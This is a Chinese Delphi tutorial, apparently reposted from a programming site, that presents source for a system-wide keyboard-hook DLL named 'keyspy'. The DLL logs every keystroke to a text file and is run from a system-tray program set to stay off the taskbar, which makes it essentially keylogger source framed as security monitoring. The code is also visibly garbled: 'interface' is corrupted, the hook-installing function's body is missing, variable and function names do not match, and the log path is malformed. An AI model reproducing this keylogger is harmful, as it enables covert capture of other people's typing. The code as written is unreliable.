当前位置:编程学习 > 网站相关 >>

利用Hook技术实现键盘监控

在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。

  一、Hook(钩子)的实现:

  Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。

  1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。代码如下:

  library keyspy;

  uses

  windows, messages, hookproc in ’hookproc.pas’;

  exports

  setkeyhook,

  endkeyhook;

  begin

  nexthookproc:=0;

  procsaveexit:=exitproc;

  exitproc:=@keyhookexit;

  end.

  2.在Hookproc.pas中实现了钩子具体过程:

  unit hookproc;

  inte易做图ce

  uses

  Windows, Messages, SysUtils, Controls, StdCtrls;

  var

  nexthookproc:hhook;

  procsaveexit:pointer;

  function keyboardhook(icode:integer;wparam:wparam;

  lparam:lparam):lresult;stdcall;export;

  function setkeyhook:bool;export;//加载钩子

  function endkeyhook:bool;export;//卸载钩子

  procedure keyhookexit;far;

  const

  afilename=’c:debug.txt’;//将键盘输入动作写入文件中

  var

  debugfile:textfile;

  implementation

  function keyboardhookhandler(icode:integer;wparam:wparam;

  lparam:lparam):lresult;stdcall;export;

  begin

  if icode<0 then

  begin

  result:=callnexthookex(hnexthookproc,icode,wparam,lparam);

  exit;

  end;

  assignfile(debugfile,afilename);

  append(debugfile);

  if getkeystate(vk_return)<0 then

  begin

  writeln(debugfile,’’);

  write(debugfile,char(wparam));

  end

  else

  write(debugfile,char(wparam));

  closefile(debugfile);

  result:=0;

  end;

  function endkeyhook:bool;export;

  begin

  if nexthookproc<>0 then begin

  unhookwindowshookex(nexthookproc);

  nexthookproc:=0;

  messagebeep(0); end;

  result:=hnexthookproc=0;

  end;

  procedure keyhookexit;far;

  begin

  if nexthookproc<>0 then endkeyhook;

  exitproc:=procsaveexit; end;

  end.


二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon。它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。

  通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。

  unit kb;

  inte易做图ce

  uses

  Windows, Messages, SysUtils, Classes,

  Graphics, Controls, Forms,

  Dialogs,

  StdCtrls, Menus,shellapi;

  const

  icon_id=1;

  MI_iconevent=wm_user+1;//定义一个用户消息

  type

  TForm1 = class(TForm)

  PopupMenu1: TPopupMenu;

  sethook1: TMenuItem;

  endhook1: TMenuItem;

  N1: TMenuItem;

  About1: TMenuItem;

  Close1: TMenuItem;

  Gettext1: TMenuItem;

  procedure FormCreate(Sender: TObject);

  procedure sethook1Click(Sender: TObject);

  procedure endhook1Click(Sender: TObject);

  procedure FormDestroy(Sender: TObject);

  procedure Close1Click(Sender: TObject);

  private

  { Private declarations }

  nid:tnotifyicondata;

  normalicon:ticon;

  public

  { Public declarations }

  procedure icontray(var msg:tmessage);

  message mi_iconevent;

  end;

  var

  Form1: TForm1;

  implementation

  {$R *.DFM}

  function setkeyhook:bool;external ’keyspy.dll’;

  function endkeyhook:bool;external ’keyspy.dll’;

  procedure tform1.icontray(var msg:tmessage);

  var

  pt:tpoint;

  begin

  if msg.lparam=wm_lbuttondown then

  sethook1click(self);

  if msg.LParam=wm_rbuttondown then

  begin

  getcursorpos(pt);

  setforegroundwindow(handle);

  popupmenu1.popup(pt.x,pt.y);

  end;

  end;

  procedure TForm1.FormCreate(Sender: TObject);

  begin

  normalicon:=ticon.create;

  application.title:=caption;

  nid.cbsize:=sizeof(nid);

  nid.wnd:=handle;

  nid.uid:=icon_id;

  nid.uflags:=nif_icon or nif_message or nif_tip;

  nid.ucallbackmessage:=mi_iconevent;

  nid.hIcon :=normalicon.handle;

  strcopy(nid.sztip,pchar(caption));

  nid.uFlags:=nif_message or nif_icon or nif_tip;

  shell_notifyicon(nim_add,@nid);

  SetWindowLong(Application.Handle,

  GWL_EXSTYLE,WS_EX_TOOLWINDOW);

  end;

  procedure TForm1.sethook1Click(Sender: TObject);

  begin

  setkeyhook;

  end;

  procedure TForm1.endhook1Click(Sender: TObject);

  begin

  endkeyhook;

  end;

  procedure TForm1.FormDestroy(Sender: TObject);

  begin

  nid.uFlags :=0;

  shell_notifyicon(nim_delete,@nid);

  end;

  procedure TForm1.Close1Click(Sender: TObject);

  begin

  application.terminate;

  end;

  该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。

 

 

补充:综合编程 , 安全编程 ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,